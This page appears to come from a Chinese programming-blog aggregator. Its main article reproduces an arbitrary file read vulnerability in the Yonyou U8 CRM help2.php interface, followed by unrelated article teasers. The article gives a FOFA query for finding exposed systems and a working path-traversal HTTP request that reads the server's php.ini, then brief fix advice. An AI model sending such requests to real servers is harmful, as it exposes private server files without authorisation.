当前位置： 首页 > news >正文

用友U8+CRM help2 任意文件读取漏洞复现

news 2026/2/5 4:44:51

0x01 产品简介

用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件，旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。

0x02 漏洞概述

用友 U8 CRM客户关系管理系统 help2接口处存在任意文件读取漏洞，攻击者通过漏洞可以获取到服务器敏感信息。

0x03 复现环境

FOFA：title="用友U8CRM"

0x04 漏洞复现

PoC

GET /pub/help2.php?key=/../../apache/php.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

0x05 修复建议

关闭互联网暴露面或接口设置访问权限

升级至安全版本

相关文章：

用友U8+CRM help2 任意文件读取漏洞复现

0x01 产品简介 用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件，旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。 0x02 漏洞概述 用友 U8 CRM客户关系管理系统 help2接口处存在任意文件读取漏洞，攻击者通过漏洞可以获取到服…...

编程日记 2023/12/25 10:13:13

freeRTOS实时操作系统学习笔记

温馨提示：点击图片查看大图更清晰 —————————————————————————————↑↑↑上方资源下载后可获取xmind原文件。 1、freeRTOS移植和配置脑图 2、内核源码学习...

编程日记 2023/12/25 10:08:07

解决虚拟机卡顿、卡死、待机后不动的情况（真实有效

本人环境： VM workstation 17.5 ubuntu 22.04 虚拟机配置：4核 4g issue： 出现开机卡死不动运行一段时间，可能半小时不到，就页面卡死不动经常需要关机重启才解决，可能没有解决 1.配置虚拟化引擎 这一步我称…...

编程日记 2023/12/25 10:07:06

【MybatisPlus快速入门】(3)SpringBoot整合MybatisPlus 之 Lombok插件安装及MybatisPlus分页代码示例

目录 1.Lombok1.1 步骤1:添加lombok依赖 2.2 步骤2:安装Lombok的插件1.3 步骤3:模型类上添加注解2 分页功能2.1 步骤1:调用方法传入参数获取返回值2.2步骤2:设置分页拦截器2.3 步骤3:运行测试程序 之前我们已学习MyBatisPlus在代码示例与MyBatisPlus的简介，在这一节…...

编程日记 2023/12/25 10:05:04

SpaceDesk如何连接平板/PC（生产力副屏）

1、下载安装 分为安卓端和PC端，两个设备都需要安装对应的软件。 SpaceDesk官网 https://link.zhihu.com/?targethttp%3A//spacedesk.net/ 需要魔法上网。安装过程比较简单，无脑下一步即可。 我已经把安装包准备好了，如果不想自己找&#…...

编程日记 2023/12/25 10:03:01

61.SVN版本控制系统

SVN（Subversion）是一种集中式版本控制系统，它有一个中央仓库用于存储代码库的完整历史记录。相对于分布式版本控制系统（例如 Git），SVN 不支持本地仓库。 一、SVN 安装。 （1）在windo…...

编程日记 2023/12/25 9:59:59

操作系统 内存管理篇

一.程序的装入和链接 装入方式： 链接方式： 二.进程的内存映像 三.内存的分配 1.连续分配 分配方式： 2.不连续分配 分页：页面大小一致 引入快表（和 cache 处理思路一致） 升级到二级页表 分段：…...

编程日记 2023/12/25 9:54:53

深度学习中用来训练的train.py 探究学习2.0（ 数据预处理）

数据预处理 下列代码为train.py中常见的一些数据处理方法 train_transform transforms.Compose([transforms.Resize((224, 224)),transforms.RandomVerticalFlip(),# 随机旋转，-45度到45度之间随机选transforms.RandomRotation(45),# 从中心开始裁剪transforms.C…...

编程日记 2023/12/25 9:53:52

vscode debug c++代码

需要提前写好CMakeLists.txt 在tasks.json中写好编译的步骤，即tasks，如cmake … 和make -j 在lauch.json中配置可执行文件的路径和需要执行tasks中的哪一个任务 具体步骤： 1.写好c代码和CMakeLists.txt 2.配置tasks.json 终端–>配置任务…...

编程日记 2023/12/25 9:50:48

HarmonyOS的功能及场景应用

一、基本介绍 鸿蒙HarmonyOS主要应用的设备包括智慧屏、平板、手表、智能音箱、IoT设备等。具体来说，鸿蒙系统是一款面向全场景(移动办公、运动健康、社交通信、媒体娱乐等)的分布式操作系统，能够支持手机、平板、智能穿戴、智慧屏、车机等多种终端设备…...

编程日记 2023/12/25 9:49:47

汽车级EEPROM 存储器 M24C64-DRMN3TP/K是电可擦除可编程只读存储器?它的功能特性有哪些?

M24C64-DRMN3TP/K是一款64 Kbit串行EEPROM汽车级设备，工作温度高达125C。符合汽车标准AEC-Q100 1级规定的极高可靠性。 该设备可通过一个高达1MHz的简单串行I2C兼容接口访问。 存储器阵列基于先进的真EEPROM技术（电可擦除可编程存储器）。M2…...

编程日记 2023/12/25 9:46:44

VS Code无法远程ubuntu

①windows下cmd中执行命令： ssh-keygen -t rsa -C "xxxxxx.com" ②ubuntu 下bash 命令 ssh-keygen -t rsa -C "xxxxxx.com" ③cat id_rsa.pub >> ~/.ssh/authorized_keys ④ C:\Users\Administrator\AppData\Roaming\Code\User\set…...

编程日记 2023/12/25 9:43:41

大数据开发职业规划

大数据开发职业规划 我的学历是双非本，在学校学习的是大数据专业，目前是在企业做大数据全栈的工作，爬虫，数仓，风控项目，etl开发都做 .................................................................…...

编程日记 2023/12/25 9:42:40

XxIJob入门-示例

一、部署 xxlJob (一) 下载地址， git clone 到本地。 http://gitee.com/xuxueli0323/xxl-job https://github.com/xuxueli/xxl-job (二) 插入 xxl_job 的sql脚本： 在项目的 /xxl-job/doc/db/tables_xxl_job.sql ，找到sql脚本&#xff0c…...

编程日记 2023/12/25 9:41:39

单挑力扣（LeetCode）SQL题：1549. 每件商品的最新订单（难度：中等）

相信很多学习SQL的小伙伴都面临这样的困境，学习完书本上的SQL基础知识后，一方面想测试下自己的水平；另一方面想进一步提升，却不知道方法。 其实，对于技能型知识，我的观点一贯都是：多练习、多实…...

编程日记 2023/12/25 9:40:38

Javacv-利用Netty实现推流直播复用（flv）

前言 上一篇文章《JavaCV之rtmp推流（FLV和M3U8）》介绍了javacv的基本使用，今天来讲讲如何实现推流复用。 以监控摄像头的直播为例，通常分为三步： 从设备获取音视频流利用javacv进行解码（例如flv或m3u8&am…...

编程日记 2023/12/25 9:38:35

cfa一级考生复习经验分享系列（十一）

理工科已经毕业，正在工作，毫无金融背景。一共准备了四个月，每天下班和周末抽时间看看。前三个月节奏比较松散，毕竟时不时有人叫我出去high，最后一个月认真看了看。 用到的资料 JC网课，官方Mock，…...

编程日记 2023/12/25 9:36:34

Nginx基本配置内容

http 模块适用于处理 Web 请求，而 stream 模块适用于处理非 HTTP 流量，如数据库连接、邮件传输等。 在 stream 模块中，你可以配置一些 TCP 或 UDP 的代理服务，以便 Nginx 能够转发这些流量。 与网站相关的 关于网站相关的要写在ht…...

编程日记 2023/12/25 9:35:31

Jenkins安装与设置(插件安装失败，版本问题解决）

早期的使用docker安装jenkins的方法会出现插件无法安装的问题，是由于docker拉取的jenkins版本太低了 jdk安装 Linux系统安装JDK1.8 详细流程 maven安装： centos7下安装Maven 使用docker进行安装jenkins： 先把镜像和容器卸干净 docker ps -a…...

编程日记 2023/12/25 9:32:28

精度提升10个点！HD-Painter:无需训练的文本引导高分辨率图像修复方案！

基于文本到图像扩散模型的空前成功，在文本引导的图像修复方面取得了最新进展，取得了异常逼真和视觉上可靠的结果。然而，目前的文本到图像修复模型仍然存在显著的改进潜力，特别是在更好地与用户提示对齐和执行高分辨率修复方面。因…...

编程日记 2023/12/25 9:28:24

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器的上位机配置操作说明

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造，完美适配AGV和无人叉车。同时，集成以太网与语音合成技术，为各类高级系统（如MES、调度系统、库位管理、立库等）提供高效便捷的语音交互体验。 L…...

编程新知 2026/2/2 23:40:18

rknn优化教程（二）

文章目录 1. 前述2. 三方库的封装2.1 xrepo中的库2.2 xrepo之外的库2.2.1 opencv2.2.2 rknnrt2.2.3 spdlog 3. rknn_engine库 1. 前述 OK，开始写第二篇的内容了。这篇博客主要能写一下： 如何给一些三方库按照xmake方式进行封装，供调用如何按…...

编程新知 2025/6/11 15:25:30

阿里云ACP云计算备考笔记 (5)——弹性伸缩

目录 第一章 概述 第二章 弹性伸缩简介 1、弹性伸缩 2、垂直伸缩 3、优势 4、应用场景 ① 无规律的业务量波动 ② 有规律的业务量波动 ③ 无明显业务量波动 ④ 混合型业务 ⑤ 消息通知 ⑥ 生命周期挂钩 ⑦ 自定义方式 ⑧ 滚的升级 5、使用限制 第三章 主要定义 …...

编程新知 2026/1/22 6:07:24

如何在看板中体现优先级变化

在看板中有效体现优先级变化的关键措施包括：采用颜色或标签标识优先级、设置任务排序规则、使用独立的优先级列或泳道、结合自动化规则同步优先级变化、建立定期的优先级审查流程。其中，设置任务排序规则尤其重要，因为它让看板视觉上直观地体…...

编程新知 2026/1/23 12:42:28

【HTTP三个基础问题】

面试官您好！HTTP是超文本传输协议，是互联网上客户端和服务器之间传输超文本数据（比如文字、图片、音频、视频等）的核心协议，当前互联网应用最广泛的版本是HTTP1.1，它基于经典的C/S模型，也就是客…...

编程新知 2025/12/10 6:18:55

Aspose.PDF 限制绕过方案：Java 字节码技术实战分享（仅供学习）

Aspose.PDF 限制绕过方案：Java 字节码技术实战分享（仅供学习） 一、Aspose.PDF 简介二、说明（⚠️仅供学习与研究使用）三、技术流程总览四、准备工作1. 下载 Jar 包2. Maven 项目依赖配置 五、字节码修改实现代码&#…...

编程新知 2026/1/23 9:58:42

Java + Spring Boot + Mybatis 实现批量插入

在 Java 中使用 Spring Boot 和 MyBatis 实现批量插入可以通过以下步骤完成。这里提供两种常用方法&#xff1a;使用 MyBatis 的 <foreach> 标签和批处理模式&#xff08;ExecutorType.BATCH&#xff09;。 方法一&#xff1a;使用 XML 的 <foreach> 标签&#xff…...

编程新知 2025/6/11 2:44:05

QT3D学习笔记——圆台、圆锥

类名作用Qt3DWindow3D渲染窗口容器QEntity场景中的实体&#xff08;对象或容器&#xff09;QCamera控制观察视角QPointLight点光源QConeMesh圆锥几何网格QTransform控制实体的位置/旋转/缩放QPhongMaterialPhong光照材质&#xff08;定义颜色、反光等&#xff09;QFirstPersonC…...

编程新知 2026/1/29 5:26:37

【Nginx】使用 Nginx+Lua 实现基于 IP 的访问频率限制

使用 NginxLua 实现基于 IP 的访问频率限制 在高并发场景下&#xff0c;限制某个 IP 的访问频率是非常重要的&#xff0c;可以有效防止恶意攻击或错误配置导致的服务宕机。以下是一个详细的实现方案&#xff0c;使用 Nginx 和 Lua 脚本结合 Redis 来实现基于 IP 的访问频率限制…...

编程新知 2025/10/22 6:06:44

宇树科技，改名了！

提到国内具身智能和机器人领域的代表企业&#xff0c;那宇树科技&#xff08;Unitree&#xff09;必须名列其榜。 最近&#xff0c;宇树科技的一项新变动消息在业界引发了不少关注和讨论&#xff0c;即&#xff1a; 宇树向其合作伙伴发布了一封公司名称变更函称&#xff0c;因…...

编程新知 2026/1/28 9:44:45